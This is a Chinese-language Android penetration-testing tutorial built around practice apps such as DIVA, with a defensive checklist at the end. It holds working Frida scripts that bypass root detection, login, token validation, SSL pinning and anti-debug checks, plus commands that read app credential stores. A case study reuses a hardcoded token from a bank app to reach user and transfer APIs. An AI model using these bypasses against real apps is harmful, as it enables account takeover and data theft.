适合人群:有基本Web安全基础、想进入移动安全领域的渗透测试人员
前置知识:Java/Python基础、ADB基本操作、APK文件结构概念
实验环境:Ubuntu 22.04 + Android模拟器 + Python 3.8+
一、前置准备
工具安装
# 核心逆向工具链
apt-get install -y apktool dex2jar jadx default-jdk android-sdk
pip3 install frida-tools objection androguard
# APK分析辅助
pip3 install apkleaks quark-engine
npm install -g apk-mitm
# 抓包与调试
# Burp Suite + Frida + 模拟器
# 在线分析平台(辅助)
# https://www.virustotal.com
# https://www.decompiler.com
靶场选择
# 推荐靶场
# InsecureBankv2(安卓银行App安全靶场)
git clone https://github.com/dineshshetty/InsecureBankv2.git
# 或用现成APK直接下载Diva.apk(Damn Insecure and Vulnerable App)
wget https://github.com/Checkmarx/diva-android/releases/latest/download/diva.apk
ADB 连接模拟器
# 启动模拟器后连接
adb devices
# 应看到: emulator-5554 device
# 安装目标APK
adb install diva.apk
# 查看已安装包名
adb shell pm list packages | grep diva
# 启动Activity
adb shell am start -n jakhar.aseem.diva/.MainActivity
二、核心原理
Android 应用安全测试的本质
Android 应用安全测试围绕三个关键问题展开:
APK文件(你下载的安装包)
│
├─ 🔍 反编译 → 读源码 → 找硬编码密钥/API/漏洞
├─ 🔧 动态调试 → Hook运行时 → 改返回值/绕认证
└─ 🌐 网络抓包 → 解HTTPS → 看明文请求/响应
APK 文件结构
| 组件 | 作用 | 安全关注点 |
|---|---|---|
classes.dex | Dalvik字节码(核心代码) | 反编译后找漏洞 |
AndroidManifest.xml | 权限/组件声明 | 暴露的Activity/ContentProvider |
res/ | 资源文件 | 硬编码字符串/API Key |
lib/ | Native SO库 | 反汇编分析 |
META-INF/ | 签名信息 | 签名绕过/重打包检测 |
assets/ | 原始资源 | 加密密钥/配置文件 |
核心攻击面
攻击面 → 可能发现
├─ 硬编码凭证/密钥 → API Key / Token / 密码
├─ 不安全的本地存储 → SharedPreferences / SQLite明文数据
├─ WebView 漏洞 → XSS / 任意文件读取
├─ HTTPS 未校验证书 → 中间人攻击
├─ Activity/Service暴露 → 越权调用
├─ ContentProvider注入 → SQL注入 / 目录遍历
└─ Native库漏洞 → 缓冲区溢出
三、实操步骤
🔴 第一阶段:静态分析(反编译读源码)
Step 1:解压APK看结构
# jadx 一键反编译(推荐,直接出Java源码)
jadx-gui target.apk
# 或在终端反编译
jadx -d output_dir target.apk
ls output_dir/sources/
# apktool 解包(用于修改后重打包)
apktool d target.apk -o output_apk
Step 2:分析 AndroidManifest.xml
# 查看暴露的组件
aapt dump xmltree target.apk AndroidManifest.xml | grep -E 'activity|service|receiver|provider'
# 关键检查点:
# android:exported="true" 的组件 → 可被外部调用
# android:debuggable="true" → 可调试
# android:allowBackup="true" → 可备份数据
常见发现示例:
<!-- ❌ 暴露的Activity,无需权限可调用 -->
<activity android:name=".AdminPanelActivity" android:exported="true"/>
<!-- ❌ debuggable开启 -->
<application android:debuggable="true" ...>
Step 3:搜索硬编码敏感信息
# 搜索硬编码的API Key / Token
grep -rn "apiKey\|API_KEY\|secret\|password\|token\|jwt" output_dir/sources/ --include="*.java"
# 搜索硬编码URL/端点
grep -rn "https\?://" output_dir/sources/ --include="*.java" | grep -v "google\|android\|example"
# 用 apkleaks 自动化扫描
apkleaks -f target.apk -o report.json
cat report.json | jq '.findings'
典型硬编码发现:
// ❌ 硬编码API密钥
private static final String API_KEY = "AIzaSyBxXxXxXxXxXxXxXxXxXxXxXxXxXxX";
// ❌ 硬编码后端凭证
String loginUrl = "https://api.target.com/v1/login";
String adminPass = "P@ssw0rd!";
Step 4:分析不安全的本地存储
# 安装后查看App本地文件
adb shell
run-as com.target.app
cat /data/data/com.target.app/shared_prefs/*.xml
cat /data/data/com.target.app/databases/*.db
常见漏洞:
<!-- SharedPreferences 存明文密码 -->
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="password">SuperSecret123!</string>
</map>
🔴 第二阶段:动态分析(Hook运行时)
Step 1:Frida 环境准备
# 下载对应架构的 frida-server
wget https://github.com/frida/frida/releases/latest/download/frida-server-16.x.x-android-x86_64.xz
xz -d frida-server-16.x.x-android-x86_64.xz
# 推送到模拟器
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
# 启动 frida-server
adb shell /data/local/tmp/frida-server &
Step 2:基础Hook — 绕过root检测
很多App有root检测,用Frida绕过:
// root_bypass.js
Java.perform(function() {
var RootDetection = Java.use('com.target.app.security.RootDetection');
RootDetection.isRooted.implementation = function() {
console.log('[+] Bypassing root check');
return false; // 假装没root
};
RootDetection.isEmulator.implementation = function() {
console.log('[+] Bypassing emulator check');
return false; // 假装不是模拟器
};
});
# 运行Hook
frida -U -f com.target.app -l root_bypass.js
Step 3:Hook 返回值 — 绕过认证
// auth_bypass.js
Java.perform(function() {
// 绕过登录验证
var LoginActivity = Java.use('com.target.app.ui.LoginActivity');
LoginActivity.checkCredentials.implementation = function(username, password) {
console.log('[+] Bypassing login for: ' + username);
return true; // 任何账号密码都通过
};
// Hook Token验证
var TokenManager = Java.use('com.target.app.auth.TokenManager');
TokenManager.isTokenValid.implementation = function() {
console.log('[+] Pretending token is valid');
return true;
};
});
Step 4:Objection 自动化探索
# objection 一键操作(基于Frida的自动化工具)
objection -g com.target.app explore
# 在 objection 控制台中:
# 查看所有类
android hooking list classes
# 搜索包含 "password" 的类
android hooking search classes password
# 列出所有Activity
android hooking list activities
# 禁用SSL Pinning
android sslpinning disable
# 查看SharedPreferences
android sharedpreferences get
🔴 第三阶段:网络抓包(HTTPS解密)
Step 1:Burp Suite 配置代理
# 设置模拟器WiFi代理到Burp
adb shell settings put global http_proxy 192.168.1.100:8080
# 安装Burp CA证书到模拟器
# 1. Burp → Proxy → Options → Import/Export CA certificate
# 2. 导出为 cacert.der
# 3. 推送到模拟器
adb push cacert.der /sdcard/
adb shell
su
cp /sdcard/cacert.der /data/misc/user/0/cacerts-added/9a5ba575.0
chmod 644 /data/misc/user/0/cacerts-added/9a5ba575.0
Step 2:SSL Pinning 绕过
如果App做了证书绑定(SSL Pinning),普通代理抓不到包:
# 方法一:Objection 一键绕过
objection -g com.target.app explore
android sslpinning disable
# 方法二:Frida 脚本绕过
frida -U -f com.target.app -l ssl_bypass.js
// ssl_bypass.js — 通用SSL Pinning绕过
Java.perform(function() {
// 绕过 OkHttp 的 CertificatePinner
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
console.log('[+] SSL Pinning bypassed');
};
// 绕过 TrustManager
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
X509TrustManager.checkClientTrusted.implementation = function() {};
X509TrustManager.checkServerTrusted.implementation = function() {};
// 绕过 HostnameVerifier
var HostnameVerifier = Java.use('javax.net.ssl.HostnameVerifier');
HostnameVerifier.verify.implementation = function() {
return true;
};
});
Step 3:抓包分析
# 配置好代理并打开Burp后,操作App看流量
# 关键检查点:
# 1. 所有请求是否走HTTPS?
# 2. API参数中是否有敏感信息明文传输?
# 3. Token/Cookie 是否安全传输?
# 4. 是否有未使用的API端点?
🔴 第四阶段:重打包与动态调试
Step 1:修改Smali代码重打包
# 1. 解包
apktool d target.apk -o target_unpacked
# 2. 修改 Smali 代码
# 在 smali/com/target/app/ 下找到目标类
# JADX 反编译找逻辑 → 对应到 Smali
# 3. 重打包
apktool b target_unpacked -o target_modified.apk
# 4. 重新签名(未签名无法安装)
keytool -genkey -v -keystore debug.keystore -alias android \
-keyalg RSA -keysize 2048 -validity 10000 -storepass android -keypass android
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
-keystore debug.keystore target_modified.apk android
# 5. 安装
adb install target_modified.apk
Step 2:反调试绕过
如果App有反调试/反Hook机制:
// anti_debug_bypass.js
Java.perform(function() {
// 绕过 Debug.isDebuggerConnected
var Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function() {
return false;
};
// 绕过 检测Frida进程
var ProcessClass = Java.use('java.lang.Process');
// 绕过 检测模拟器
var Build = Java.use('android.os.Build');
Build.FINGERPRINT.value = "google/walleye/walleye:8.1.0/OPM1.171019.011/12345678:user/release-keys";
Build.MODEL.value = "Pixel 2";
});
四、绕过技术
4.1 绕过ProGuard/R8混淆
# jadx 自带反混淆
jadx --deobf target.apk
# 手动映射
# 在 proguard 映射文件中查找
cat mapping.txt | grep "targetMethod -> a"
# 用 Frida 枚举类名
frida -U -f com.target.app -l enum_classes.js
// enum_classes.js — 枚举所有已加载类
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(className) {
if (className.toLowerCase().indexOf("target") >= 0) {
console.log(className);
}
},
onComplete: function() {}
});
});
4.2 绕过签名校验
# 移除签名校验的几种方法:
# 方法1:在Smali中nop掉签名校验调用
# 搜索: invoke-static {...} Lcom/target/app/SignatureCheck;->verify()Z
# 改为: const/4 v0, 0x1
# 方法2:使用 Lucky Patcher(Android端)
# 方法3:用 Frida Hook 返回值
4.3 绕过模拟器检测
# 修改build.prop
# /system/build.prop 中修改 ro.product.model / ro.build.fingerprint
adb root
adb remount
adb shell "sed -i 's/ro.product.model=.*/ro.product.model=Pixel 6/' /system/build.prop"
五、实战案例复盘
案例:某银行App API密钥泄露
场景:某金融App存在API端点的硬编码密钥,可通过反编译直接提取。
步骤:
- 静态分析发现线索:
jadx -d output/ bank.apk
grep -rn "api\|token\|secret\|key" output/sources/ --include="*.java"
- 发现硬编码:
// 在 OkHttpClient 初始化中发现了硬编码 Token
public class ApiClient {
private static final String API_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0";
public static OkHttpClient getClient() {
return new OkHttpClient.Builder()
.addInterceptor(new Interceptor() {
@Override
public Response intercept(Chain chain) {
Request request = chain.request().newBuilder()
.addHeader("Authorization", "Bearer " + API_TOKEN)
.build();
return chain.proceed(request);
}
})
.build();
}
}
- 利用:直接用这个Token访问后端API:
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
https://api.target.com/v1/user/profile
- 结果:Token有效,直接获取到用户数据和转账接口。
六、防御建议
开发者防护清单
| 风险点 | 修复方案 |
|---|---|
| 硬编码密钥 | 使用密钥管理服务 / 运行时动态获取 |
| 不安全本地存储 | 使用 EncryptedSharedPreferences / KeyStore |
| SSL Pinning不足 | Certificate Pinning + 证书透明度校验 |
| 调试标志开启 | 发布版本关闭 android:debuggable |
| Activity暴露 | 设置 android:exported="false",添加权限校验 |
| 代码混淆 | ProGuard/R8 + 自定义映射规则 |
| Native库漏洞 | SO库安全编码 + 完整性校验 |
| API越权 | 服务端做二次校验,不信任客户端数据 |
安全测试自动化工具
# 自动化检测脚本(集成上述所有检查点)
pip3 install mobsf # Mobile Security Framework
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# 跑静态分析
mobsf --upload target.apk --scan-type apk
# 一键漏洞扫描
quark-engine -a target.apk -s
七、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 只做静态分析 | 静态+动态结合,很多逻辑在运行时才触发 |
| 2 | 忘记绕过SSL Pinning | 不绕SSL Pinning就抓不到真实流量 |
| 3 | 模拟器检测被识别 | 使用真实设备或Frida绕过检测 |
| 4 | 签名校验阻止重打包 | 先分析签名校验代码再修改 |
| 5 | 认为混淆=安全 | 混淆只增加阅读难度,不增加安全性 |
| 6 | 忽略Native库 | SO库中的逻辑同样需要分析 |
| 7 | 只测登录接口 | 所有功能点(分享、导出、支付)都要测 |
八、总结(含速查表)
安卓安全测试五步法
① 反编译 → ② 静态分析 → ③ 动态Hook → ④ 网络抓包 → ⑤ 重打包验证
关键工具速查表
| 工具 | 用途 | 命令示例 |
|---|---|---|
| jadx | 反编译Java源码 | jadx -d out/ target.apk |
| apktool | 解包/重打包 | apktool d target.apk / apktool b dir/ |
| frida | 动态Hook | frida -U -f com.app -l script.js |
| objection | 自动化探索 | objection -g com.app explore |
| adb | 设备调试 | adb shell / adb install |
| MobSF | 自动化安全扫描 | mobsf --upload target.apk |
| Quark | 漏洞规则引擎 | quark-engine -a target.apk |
Frida 常用Hook模板
// Hook方法返回值
Java.perform(function() {
var TargetClass = Java.use('com.target.ClassName');
TargetClass.methodName.implementation = function(arg) {
console.log('[+] Hooked: ' + arg);
return true; // 返回预期值
};
});
关键检查清单
# 反编译后必查三项
grep -rn "api_key\|secret\|password" --include="*.java" output/
grep -rn "content://" --include="*.xml" output/
grep -rn "http://" --include="*.java" output/
# 安装后必查三项
adb shell cat /data/data/com.app/shared_prefs/*.xml
adb shell cat /data/data/com.app/databases/*.db
adb shell pm dump com.app | grep -E "exported=true|permission=null"